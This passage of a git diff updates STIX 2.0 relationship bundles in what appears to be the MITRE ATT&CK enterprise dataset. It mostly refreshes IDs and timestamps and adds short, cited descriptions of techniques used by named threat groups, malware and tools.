             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "APT32 has used scheduled task raw XML with a backdated timestamp of June 2, 2016.",
             "source_ref": "intrusion-set--247cb30b-955f-42eb-97a5-a89fef69341e",
diff --git a/enterprise-attack/relationship/relationship--71daf1fe-a979-4cbc-bb0d-4e2d6c79274a.json b/enterprise-attack/relationship/relationship--71daf1fe-a979-4cbc-bb0d-4e2d6c79274a.json
index 051fa3e408..174f15e0ca 100644
--- a/enterprise-attack/relationship/relationship--71daf1fe-a979-4cbc-bb0d-4e2d6c79274a.json
+++ b/enterprise-attack/relationship/relationship--71daf1fe-a979-4cbc-bb0d-4e2d6c79274a.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--cafca016-1c9d-4021-aaee-d2c9371571cc",
+    "id": "bundle--22951a86-cd5c-44ee-a8d8-9260d6765ca7",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--71daf1fe-a979-4cbc-bb0d-4e2d6c79274a",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.063Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "source_ref": "intrusion-set--fb366179-766c-4a4a-afa1-52bff1fd601c",
             "target_ref": "malware--5a3a31fe-5a8f-48e1-bff0-a753e5b1be70",
diff --git a/enterprise-attack/relationship/relationship--71ede2de-7e5f-49fa-ac07-9322ef4857ae.json b/enterprise-attack/relationship/relationship--71ede2de-7e5f-49fa-ac07-9322ef4857ae.json
index b4e58f61d1..91cdf666cd 100644
--- a/enterprise-attack/relationship/relationship--71ede2de-7e5f-49fa-ac07-9322ef4857ae.json
+++ b/enterprise-attack/relationship/relationship--71ede2de-7e5f-49fa-ac07-9322ef4857ae.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--097b09f8-9a50-4544-81cc-f7e36dcdd28d",
+    "id": "bundle--545ae35e-16e2-420f-ba9a-c510ed96ca88",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--71ede2de-7e5f-49fa-ac07-9322ef4857ae",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "HTTPBrowser has used DLL side-loading.",
             "source_ref": "malware--e066bf86-9cfb-407a-9d25-26fd5d91e360",
diff --git a/enterprise-attack/relationship/relationship--71ee5336-929a-41c7-bfbd-42a7208ca29d.json b/enterprise-attack/relationship/relationship--71ee5336-929a-41c7-bfbd-42a7208ca29d.json
index 0313e520bb..ed14f4ba6f 100644
--- a/enterprise-attack/relationship/relationship--71ee5336-929a-41c7-bfbd-42a7208ca29d.json
+++ b/enterprise-attack/relationship/relationship--71ee5336-929a-41c7-bfbd-42a7208ca29d.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--33a88f3c-afc8-4f1a-ad18-9ac222fe4d47",
+    "id": "bundle--0dc6a597-e011-40f8-9b0b-e0751d9308f7",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--71ee5336-929a-41c7-bfbd-42a7208ca29d",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "4H RAT has the capability to obtain a listing of running processes (including loaded modules).",
             "source_ref": "malware--8e461ca3-0996-4e6e-a0df-e2a5bbc51ebc",
diff --git a/enterprise-attack/relationship/relationship--7209b3d7-b8c8-4fc0-89fb-a5448f015540.json b/enterprise-attack/relationship/relationship--7209b3d7-b8c8-4fc0-89fb-a5448f015540.json
index b01bf43061..10db4e2f67 100644
--- a/enterprise-attack/relationship/relationship--7209b3d7-b8c8-4fc0-89fb-a5448f015540.json
+++ b/enterprise-attack/relationship/relationship--7209b3d7-b8c8-4fc0-89fb-a5448f015540.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--bb560acc-30ae-4b4b-af1e-0480ff1dd564",
+    "id": "bundle--b6e10af6-f130-4fba-af5d-bc72616c32e1",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--7209b3d7-b8c8-4fc0-89fb-a5448f015540",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "HDoor kills anti-virus found on the victim.",
             "source_ref": "malware--007b44b6-e4c5-480b-b5b9-56f2081b1b7b",
diff --git a/enterprise-attack/relationship/relationship--720be590-5ea0-43b6-8360-fa75dd4d1a67.json b/enterprise-attack/relationship/relationship--720be590-5ea0-43b6-8360-fa75dd4d1a67.json
index 15efe722cc..0f84310c59 100644
--- a/enterprise-attack/relationship/relationship--720be590-5ea0-43b6-8360-fa75dd4d1a67.json
+++ b/enterprise-attack/relationship/relationship--720be590-5ea0-43b6-8360-fa75dd4d1a67.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--a174657c-d1be-40a7-a4a4-03e6d2fec8ef",
+    "id": "bundle--a8450617-a859-4635-9855-cf7b77ec7a63",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--720be590-5ea0-43b6-8360-fa75dd4d1a67",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.070Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "After compromising a victim, Poseidon Group discovers all running services.",
             "source_ref": "intrusion-set--7ecc3b4f-5cdb-457e-b55a-df376b359446",
@@ -17,7 +17,7 @@
                 {
                     "source_name": "Kaspersky Poseidon Group",
                     "description": "Kaspersky Lab's Global Research and Analysis Team. (2016, February 9). Poseidon Group: a Targeted Attack Boutique specializing in global cyber-espionage. Retrieved March 16, 2016.",
-                    "url": "https://securelist.com/blog/research/73673/poseidon-group-a-targeted-attack-boutique-specializing-in-global-cyber-espionage/"
+                    "url": "https://securelist.com/poseidon-group-a-targeted-attack-boutique-specializing-in-global-cyber-espionage/73673/"
                 }
             ],
             "object_marking_refs": [
diff --git a/enterprise-attack/relationship/relationship--720c211e-2219-496d-8a34-c3f37dfbe5bf.json b/enterprise-attack/relationship/relationship--720c211e-2219-496d-8a34-c3f37dfbe5bf.json
index 282d91a44f..92c14d7064 100644
--- a/enterprise-attack/relationship/relationship--720c211e-2219-496d-8a34-c3f37dfbe5bf.json
+++ b/enterprise-attack/relationship/relationship--720c211e-2219-496d-8a34-c3f37dfbe5bf.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--28e14125-b07f-45f1-8435-1a6775644ab6",
+    "id": "bundle--e25c8af2-52a7-4885-88b5-5b73d3a362f6",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--720c211e-2219-496d-8a34-c3f37dfbe5bf",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.041Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "source_ref": "intrusion-set--bef4c620-0787-42a8-a96d-b7eb6e85917c",
             "target_ref": "malware--e669bb87-f773-4c7b-bfcc-a9ffebfdd8d4",
diff --git a/enterprise-attack/relationship/relationship--720cc0d6-9285-425b-bda2-3bdd59b4ea8f.json b/enterprise-attack/relationship/relationship--720cc0d6-9285-425b-bda2-3bdd59b4ea8f.json
new file mode 100644
index 0000000000..d14dddd9d3
--- /dev/null
+++ b/enterprise-attack/relationship/relationship--720cc0d6-9285-425b-bda2-3bdd59b4ea8f.json
@@ -0,0 +1,28 @@
+{
+    "type": "bundle",
+    "id": "bundle--37814392-fba6-4c20-aa95-5c8e9e6abcd7",
+    "spec_version": "2.0",
+    "objects": [
+        {
+            "type": "relationship",
+            "id": "relationship--720cc0d6-9285-425b-bda2-3bdd59b4ea8f",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-16T16:13:52.465Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "relationship_type": "uses",
+            "description": "can download remote files.",
+            "source_ref": "malware--495b6cdb-7b5a-4fbc-8d33-e7ef68806d08",
+            "target_ref": "attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add",
+            "external_references": [
+                {
+                    "source_name": "US-CERT Volgmer Nov 2017",
+                    "description": "US-CERT. (2017, November 22). Alert (TA17-318B): HIDDEN COBRA \u2013 North Korean Trojan: Volgmer. Retrieved December 7, 2017.",
+                    "url": "https://www.us-cert.gov/ncas/alerts/TA17-318B"
+                }
+            ],
+            "object_marking_refs": [
+                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+            ]
+        }
+    ]
+}
\ No newline at end of file
diff --git a/enterprise-attack/relationship/relationship--7243a679-467e-4c31-b413-547016b9c3ad.json b/enterprise-attack/relationship/relationship--7243a679-467e-4c31-b413-547016b9c3ad.json
index 18886f059b..e5015ee3fb 100644
--- a/enterprise-attack/relationship/relationship--7243a679-467e-4c31-b413-547016b9c3ad.json
+++ b/enterprise-attack/relationship/relationship--7243a679-467e-4c31-b413-547016b9c3ad.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--cf46fb18-0423-45fc-bed9-b8527a3fea73",
+    "id": "bundle--5d4846e2-55e7-43c9-af68-94e93277c957",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--7243a679-467e-4c31-b413-547016b9c3ad",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.050Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "source_ref": "intrusion-set--899ce53f-13a0-479b-a0e4-67d46e241542",
             "target_ref": "malware--5e7ef1dc-7fb6-4913-ac75-e06113b59e0c",
diff --git a/enterprise-attack/relationship/relationship--7276fbbe-3237-4e95-b2ad-8518327432ba.json b/enterprise-attack/relationship/relationship--7276fbbe-3237-4e95-b2ad-8518327432ba.json
new file mode 100644
index 0000000000..4cafaff8ec
--- /dev/null
+++ b/enterprise-attack/relationship/relationship--7276fbbe-3237-4e95-b2ad-8518327432ba.json
@@ -0,0 +1,28 @@
+{
+    "type": "bundle",
+    "id": "bundle--3fff3955-404c-4e50-aba2-7ad85dc7df89",
+    "spec_version": "2.0",
+    "objects": [
+        {
+            "type": "relationship",
+            "id": "relationship--7276fbbe-3237-4e95-b2ad-8518327432ba",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-16T16:13:52.465Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "relationship_type": "uses",
+            "description": "can execute commands on victims.",
+            "source_ref": "malware--0998045d-f96e-4284-95ce-3c8219707486",
+            "target_ref": "attack-pattern--7385dfaf-6886-4229-9ecd-6fd678040830",
+            "external_references": [
+                {
+                    "source_name": "FireEye APT34 Webinar Dec 2017",
+                    "description": "Davis, S. and Caban, D. (2017, December 19). APT34 - New Targeted Attack in the Middle East. Retrieved December 20, 2017.",
+                    "url": "https://www.brighttalk.com/webcast/10703/296317/apt34-new-targeted-attack-in-the-middle-east"
+                }
+            ],
+            "object_marking_refs": [
+                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+            ]
+        }
+    ]
+}
\ No newline at end of file
diff --git a/enterprise-attack/relationship/relationship--7282eabe-73e0-4a10-824b-f18df7f892e2.json b/enterprise-attack/relationship/relationship--7282eabe-73e0-4a10-824b-f18df7f892e2.json
index 952bc7c3c9..67285e7b61 100644
--- a/enterprise-attack/relationship/relationship--7282eabe-73e0-4a10-824b-f18df7f892e2.json
+++ b/enterprise-attack/relationship/relationship--7282eabe-73e0-4a10-824b-f18df7f892e2.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--8541b024-611f-46f1-a877-8df35fe7687d",
+    "id": "bundle--2d377e0c-d484-496e-a2b1-f99f9732aeb1",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--7282eabe-73e0-4a10-824b-f18df7f892e2",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Trojan.Karagany can upload, download, and execute files on the victim.",
             "source_ref": "malware--82cb34ba-02b5-432b-b2d2-07f55cbf674d",
diff --git a/enterprise-attack/relationship/relationship--7296e1e2-514d-4a6c-a1fe-18558a5e3b0f.json b/enterprise-attack/relationship/relationship--7296e1e2-514d-4a6c-a1fe-18558a5e3b0f.json
index fe1d7afb54..41d586a1ab 100644
--- a/enterprise-attack/relationship/relationship--7296e1e2-514d-4a6c-a1fe-18558a5e3b0f.json
+++ b/enterprise-attack/relationship/relationship--7296e1e2-514d-4a6c-a1fe-18558a5e3b0f.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--90a13c92-0076-4c8f-84fe-d51d950abbc3",
+    "id": "bundle--88631de6-3454-44fd-84b3-eac1c181078c",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--7296e1e2-514d-4a6c-a1fe-18558a5e3b0f",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "ZLib has the ability to obtain screenshots of the compromised system.",
             "source_ref": "malware--166c0eca-02fd-424a-92c0-6b5106994d31",
diff --git a/enterprise-attack/relationship/relationship--72cd5bab-20d9-4895-a6be-7d33f28d4b65.json b/enterprise-attack/relationship/relationship--72cd5bab-20d9-4895-a6be-7d33f28d4b65.json
index f14a4a4ca5..e918ef76ff 100644
--- a/enterprise-attack/relationship/relationship--72cd5bab-20d9-4895-a6be-7d33f28d4b65.json
+++ b/enterprise-attack/relationship/relationship--72cd5bab-20d9-4895-a6be-7d33f28d4b65.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--82daf3d2-5e1e-4d8f-8b4e-2255477e2db5",
+    "id": "bundle--115ffae1-4ac6-491a-bbce-043bb5ee9cf5",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--72cd5bab-20d9-4895-a6be-7d33f28d4b65",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.065Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Dust Storm has used Android backdoors capable of exfiltrating specific files directly from the infected devices.",
             "source_ref": "intrusion-set--ae41895a-243f-4a65-b99b-d85022326c31",
diff --git a/enterprise-attack/relationship/relationship--72d6fe7e-ba33-4117-8153-64226f189ed2.json b/enterprise-attack/relationship/relationship--72d6fe7e-ba33-4117-8153-64226f189ed2.json
new file mode 100644
index 0000000000..8e0908d7fe
--- /dev/null
+++ b/enterprise-attack/relationship/relationship--72d6fe7e-ba33-4117-8153-64226f189ed2.json
@@ -0,0 +1,20 @@
+{
+    "type": "bundle",
+    "id": "bundle--ef9e2628-a6b5-483b-88a7-41e3cd27440d",
+    "spec_version": "2.0",
+    "objects": [
+        {
+            "type": "relationship",
+            "id": "relationship--72d6fe7e-ba33-4117-8153-64226f189ed2",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-16T16:13:52.465Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "relationship_type": "uses",
+            "source_ref": "intrusion-set--4ca1929c-7d64-4aab-b849-badbfc0c760d",
+            "target_ref": "tool--294e2560-bd48-44b2-9da2-833b5588ad11",
+            "object_marking_refs": [
+                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+            ]
+        }
+    ]
+}
\ No newline at end of file
diff --git a/enterprise-attack/relationship/relationship--72fe5021-bace-41e4-9cc6-73af415225ac.json b/enterprise-attack/relationship/relationship--72fe5021-bace-41e4-9cc6-73af415225ac.json
index c37a409bb4..7ba3e49bbb 100644
--- a/enterprise-attack/relationship/relationship--72fe5021-bace-41e4-9cc6-73af415225ac.json
+++ b/enterprise-attack/relationship/relationship--72fe5021-bace-41e4-9cc6-73af415225ac.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--902865bf-9fda-4a71-bd33-89fba187580a",
+    "id": "bundle--98912a2b-a74e-45f2-986b-1cac4dccb576",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--72fe5021-bace-41e4-9cc6-73af415225ac",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "MoonWind can obtain the victim hostname, Windows version, RAM amount, number of drives, and screen resolution.",
             "source_ref": "malware--9ea525fa-b0a9-4dde-84f2-bcea0137b3c1",
diff --git a/enterprise-attack/relationship/relationship--731710ae-a6b9-47b7-b8b2-8526ce60be2f.json b/enterprise-attack/relationship/relationship--731710ae-a6b9-47b7-b8b2-8526ce60be2f.json
index 896fcfbc24..d06928972c 100644
--- a/enterprise-attack/relationship/relationship--731710ae-a6b9-47b7-b8b2-8526ce60be2f.json
+++ b/enterprise-attack/relationship/relationship--731710ae-a6b9-47b7-b8b2-8526ce60be2f.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--5b24a763-8863-47bd-b243-db97627fb563",
+    "id": "bundle--70f57055-f023-4830-b490-09e82bfbf9a9",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--731710ae-a6b9-47b7-b8b2-8526ce60be2f",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "CHOPSTICK is capable of performing remote file transmission.",
             "source_ref": "malware--ccd61dfc-b03f-4689-8c18-7c97eab08472",
diff --git a/enterprise-attack/relationship/relationship--73171e71-b769-41ff-874a-ff76da43541f.json b/enterprise-attack/relationship/relationship--73171e71-b769-41ff-874a-ff76da43541f.json
index bf6e956f35..70eeebb161 100644
--- a/enterprise-attack/relationship/relationship--73171e71-b769-41ff-874a-ff76da43541f.json
+++ b/enterprise-attack/relationship/relationship--73171e71-b769-41ff-874a-ff76da43541f.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--41eab321-88b4-40c4-abb4-4ed3a0f3bd0e",
+    "id": "bundle--3d2b6002-9756-4fdc-87c2-df2746b853b2",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--73171e71-b769-41ff-874a-ff76da43541f",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Emissary uses HTTP or HTTPS for C2.",
             "source_ref": "malware--0f862b01-99da-47cc-9bdb-db4a86a95bb1",
diff --git a/enterprise-attack/relationship/relationship--7331b11d-1d5e-4275-ba7e-a83ec4a59259.json b/enterprise-attack/relationship/relationship--7331b11d-1d5e-4275-ba7e-a83ec4a59259.json
index 456a0e18a8..a086d2582e 100644
--- a/enterprise-attack/relationship/relationship--7331b11d-1d5e-4275-ba7e-a83ec4a59259.json
+++ b/enterprise-attack/relationship/relationship--7331b11d-1d5e-4275-ba7e-a83ec4a59259.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--dac4486f-dd9b-4e34-aa25-97a661a81b24",
+    "id": "bundle--ead16a2b-d019-428e-b1d1-91976ca0d44b",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--7331b11d-1d5e-4275-ba7e-a83ec4a59259",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "CosmicDuke takes periodic screenshots and exfiltrates them.",
             "source_ref": "malware--2eb9b131-d333-4a48-9eb4-d8dec46c19ee",
diff --git a/enterprise-attack/relationship/relationship--73a53379-746e-46db-b101-1fc45df5e458.json b/enterprise-attack/relationship/relationship--73a53379-746e-46db-b101-1fc45df5e458.json
index 5d28dda521..462a684f49 100644
--- a/enterprise-attack/relationship/relationship--73a53379-746e-46db-b101-1fc45df5e458.json
+++ b/enterprise-attack/relationship/relationship--73a53379-746e-46db-b101-1fc45df5e458.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--5dca072b-a56d-46e1-aba5-a7f0d851b0cc",
+    "id": "bundle--4cb49f3c-e5c5-41d1-be32-d3b12af800b2",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--73a53379-746e-46db-b101-1fc45df5e458",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Shamoon creates a new service named \u201cntssrv\u201d to execute the payload.",
             "source_ref": "malware--8901ac23-6b50-410c-b0dd-d8174a86f9b3",
diff --git a/enterprise-attack/relationship/relationship--73da57b5-e64f-44ee-85f7-d294c21fb534.json b/enterprise-attack/relationship/relationship--73da57b5-e64f-44ee-85f7-d294c21fb534.json
index e88e22c55a..22cd7b0bb0 100644
--- a/enterprise-attack/relationship/relationship--73da57b5-e64f-44ee-85f7-d294c21fb534.json
+++ b/enterprise-attack/relationship/relationship--73da57b5-e64f-44ee-85f7-d294c21fb534.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--ee4ebcdc-4cb1-414a-ab20-b8bfc7860a01",
+    "id": "bundle--aeedf409-e0a0-4c17-95c3-d69c040e5c93",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--73da57b5-e64f-44ee-85f7-d294c21fb534",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.073Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Stealth Falcon malware encrypts C2 traffic using RC4 with a hard-coded key.",
             "source_ref": "intrusion-set--894aab42-3371-47b1-8859-a4a074c804c8",
diff --git a/enterprise-attack/relationship/relationship--73f5c564-53b1-48bc-8cab-32fa4a608672.json b/enterprise-attack/relationship/relationship--73f5c564-53b1-48bc-8cab-32fa4a608672.json
index 63c028aea0..2e2d3e3d68 100644
--- a/enterprise-attack/relationship/relationship--73f5c564-53b1-48bc-8cab-32fa4a608672.json
+++ b/enterprise-attack/relationship/relationship--73f5c564-53b1-48bc-8cab-32fa4a608672.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--6aaf3dbd-3fa4-4b08-a7b8-7cb47a74d7cd",
+    "id": "bundle--d093ecd5-f55f-4b2d-807c-61706992e20c",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--73f5c564-53b1-48bc-8cab-32fa4a608672",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "certutil can be used to download files from a given URL.",
             "source_ref": "tool--0a68f1f1-da74-4d28-8d9a-696c082706cc",
diff --git a/enterprise-attack/relationship/relationship--73fe447a-8d70-433f-be9a-5af74934a662.json b/enterprise-attack/relationship/relationship--73fe447a-8d70-433f-be9a-5af74934a662.json
index 5f378eb741..a7b9733cf5 100644
--- a/enterprise-attack/relationship/relationship--73fe447a-8d70-433f-be9a-5af74934a662.json
+++ b/enterprise-attack/relationship/relationship--73fe447a-8d70-433f-be9a-5af74934a662.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--98d29915-b3b1-4a32-a391-8fbfd56cac5f",
+    "id": "bundle--d945c70b-d54e-444a-bf0a-619430a442bb",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--73fe447a-8d70-433f-be9a-5af74934a662",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "WINDSHIELD can gather the victim computer name.",
             "source_ref": "malware--98e8a977-3416-43aa-87fa-33e287e9c14c",
diff --git a/enterprise-attack/relationship/relationship--74486fa3-a5b8-49b2-82b7-0c453b4baf12.json b/enterprise-attack/relationship/relationship--74486fa3-a5b8-49b2-82b7-0c453b4baf12.json
new file mode 100644
index 0000000000..34dfc9564b
--- /dev/null
+++ b/enterprise-attack/relationship/relationship--74486fa3-a5b8-49b2-82b7-0c453b4baf12.json
@@ -0,0 +1,28 @@
+{
+    "type": "bundle",
+    "id": "bundle--7da98623-5f88-4073-8ad3-b43a49cad988",
+    "spec_version": "2.0",
+    "objects": [
+        {
+            "type": "relationship",
+            "id": "relationship--74486fa3-a5b8-49b2-82b7-0c453b4baf12",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-16T16:13:52.465Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "relationship_type": "uses",
+            "description": "Tor encapsulates traffic in multiple layers of encryption.",
+            "source_ref": "tool--ed7d0cb1-87a6-43b4-9f46-ef1bc56d6c68",
+            "target_ref": "attack-pattern--428ca9f8-0e33-442a-be87-f869cb4cf73e",
+            "external_references": [
+                {
+                    "source_name": "Dingledine Tor The Second-Generation Onion Router",
+                    "description": "Roger Dingledine, Nick Mathewson and Paul Syverson. (2004). Tor: The Second-Generation Onion Router. Retrieved December 21, 2017.",
+                    "url": "http://www.dtic.mil/dtic/tr/fulltext/u2/a465464.pdf"
+                }
+            ],
+            "object_marking_refs": [
+                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+            ]
+        }
+    ]
+}
\ No newline at end of file
diff --git a/enterprise-attack/relationship/relationship--745106bb-3641-488e-ae1c-547cd6ea9b7a.json b/enterprise-attack/relationship/relationship--745106bb-3641-488e-ae1c-547cd6ea9b7a.json
index aeb869bc79..16733b83bc 100644
--- a/enterprise-attack/relationship/relationship--745106bb-3641-488e-ae1c-547cd6ea9b7a.json
+++ b/enterprise-attack/relationship/relationship--745106bb-3641-488e-ae1c-547cd6ea9b7a.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--d302f2b0-0492-4d5c-87d2-5c9ae325b998",
+    "id": "bundle--d2812b7d-478d-4816-aff0-486544e93c81",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--745106bb-3641-488e-ae1c-547cd6ea9b7a",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "cmd can be used to find information about the operating system.",
             "source_ref": "tool--bba595da-b73a-4354-aa6c-224d4de7cb4e",
diff --git a/enterprise-attack/relationship/relationship--746b0def-62c8-438d-b5ec-aa6b7dbfb860.json b/enterprise-attack/relationship/relationship--746b0def-62c8-438d-b5ec-aa6b7dbfb860.json
index bd8bb9f0e6..ae1d0fa41f 100644
--- a/enterprise-attack/relationship/relationship--746b0def-62c8-438d-b5ec-aa6b7dbfb860.json
+++ b/enterprise-attack/relationship/relationship--746b0def-62c8-438d-b5ec-aa6b7dbfb860.json
